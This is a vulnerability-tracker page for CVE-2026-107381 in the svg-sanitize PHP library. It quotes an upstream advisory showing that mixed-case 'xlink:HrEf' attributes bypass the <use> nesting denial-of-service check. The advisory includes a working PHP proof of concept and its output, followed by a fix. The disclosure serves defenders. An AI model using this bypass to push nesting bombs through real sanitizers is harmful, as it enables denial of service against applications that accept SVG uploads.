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  4. CVE 2026 107381 svg sanitizer mixed case xlinkhref skips the use
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Back to active CVEs
Medium · CVSS 6.5CVE-2026-107381GHSA-M9XH-6747-9R6F

svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferencesCVE-2026-107381

Answer in brief

CVE-2026-107381 records a Medium severity (CVSS 6.5) vulnerability in svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences. The current sources do not mark it as known exploited. The current feed maps enshrined/svg-sanitize (composer). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 8, 2026Updated Oct 8, 2026Source checked Oct 8, 2026First seen by HOL Oct 8, 2026Material review Oct 8, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 6.5
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 6.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps enshrined/svg-sanitize (composer). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
enshrined/svg-sanitizecomposer<=0.22.01.0.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for enshrined/svg-sanitize.
  2. 2Review the reported fix. Update enshrined/svg-sanitize to 1.0.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 8, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary `Resolver::processReferences()` collects `<use>` elements with the XPath predicate `use[@href or @xlink:href]`, which is case sensitive. A `<use>` element written as `xlink:HrEf` is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. `Sanitizer::cleanHrefAttributes()` then runs later in the same pass and rewrites `xlink:HrEf` back to the canonical `xlink:href`. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing. This is the mirror image of CVE-2025-55166: that fix made href *value* checking case insensitive, but the `<use>` reference graph still selects nodes case sensitively. ## Where it is `src/ElementReference/Resolver.php:97-118`, the case-sensitive node selection: ```php $useNodeName = $this->xPath->createNodeName('use'); foreach ($this->subjects as $subject) { $useElements = $this->xPath->query( $useNodeName . '[@href or @xlink:href]', $subject->getElement() ); ``` `src/Sanitizer.php:479-504`, the normalization that happens afterwards and makes the attribute live again: ```php // in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href` if (!in_array($attribute->nodeName, $this->allowedAttrs, true) && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true) ) { $element->removeAttribute($attribute->nodeName); $element->setAttribute(strtolower($attribute->nodeName), $attribute->value); } ``` Ordering is the whole bug. `Sanitizer::sanitize()` builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change. ## Impact Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own `tests/data/useDosTest.svg` nesting structure, intact, with canonical `xlink:href` attributes, which is exactly the input the `useNestingLimit` machinery exists to defuse. ## Proof of concept Against a clean clone of tag `0.22.0`. The only change to the input is rewriting `xlink:href` to `xlink:HrEf` in the project's own DoS fixture. ```php <?php spl_autoload_register(function ($class) { $p = 'enshrined\\svgSanitize\\'; if (strpos($class, $p) !== 0) return; $rel = str_replace('\\', '/', substr($class, strlen($p))); $f = __DIR__ . '/svgsan/src/' . $rel . '.php'; if (file_exists($f)) require $f; }); $orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg'); $mut = str_replace('xlink:href', 'xlink:HrEf', $orig); function run($label, $input) { $s = new \enshrined\svgSanitize\Sanitizer(); $s->removeRemoteReferences(true); $out = $s->sanitize($input); echo "[$label]\n"; echo " output <use count : ", substr_count($out, '<use '), "\n"; echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n"; echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n"; } run('canonical xlink:href (control)', $orig); run('mixed-case xlink:HrEf (attack)', $mut); ``` Observed on PHP 8.5.9: ```text orig use count: 201 mutated input has xlink:HrEf: YES [canonical xlink:href (control)] output <use count : 0 output xlink:href : NO output xlink:HrEf : NO [mixed-case xlink:HrEf (attack)] output <use count : 201 output xlink:href : YES output xlink:HrEf : NO ``` 201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to `useDosTest.svg`. ## Suggested fix Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant `use` and resolve the href in PHP with a case-insensitive local-name lookup (an extension of `Helper::getElementHref()` at `Helper.php:10-19` is the smallest change), or move the `cleanHrefAttributes()` canonicalization so it runs before `$this->elementReferenceResolver->collect()` rather than after, so the resolver only ever sees `href` and `xlink:href`. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on masterAlso CWE-400
  • music-metadata: uncatchable process crash parsing a crafted `.dsf` (residual of CVE-2026-32256)Also CWE-400
  • IBM Guardium Data Protection Denial of ServiceAlso CWE-400

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
CWE-178, CWE-400
Source
GitHub Security Advisories
Source checked
Oct 8, 2026
References
4 linked sources
Open source record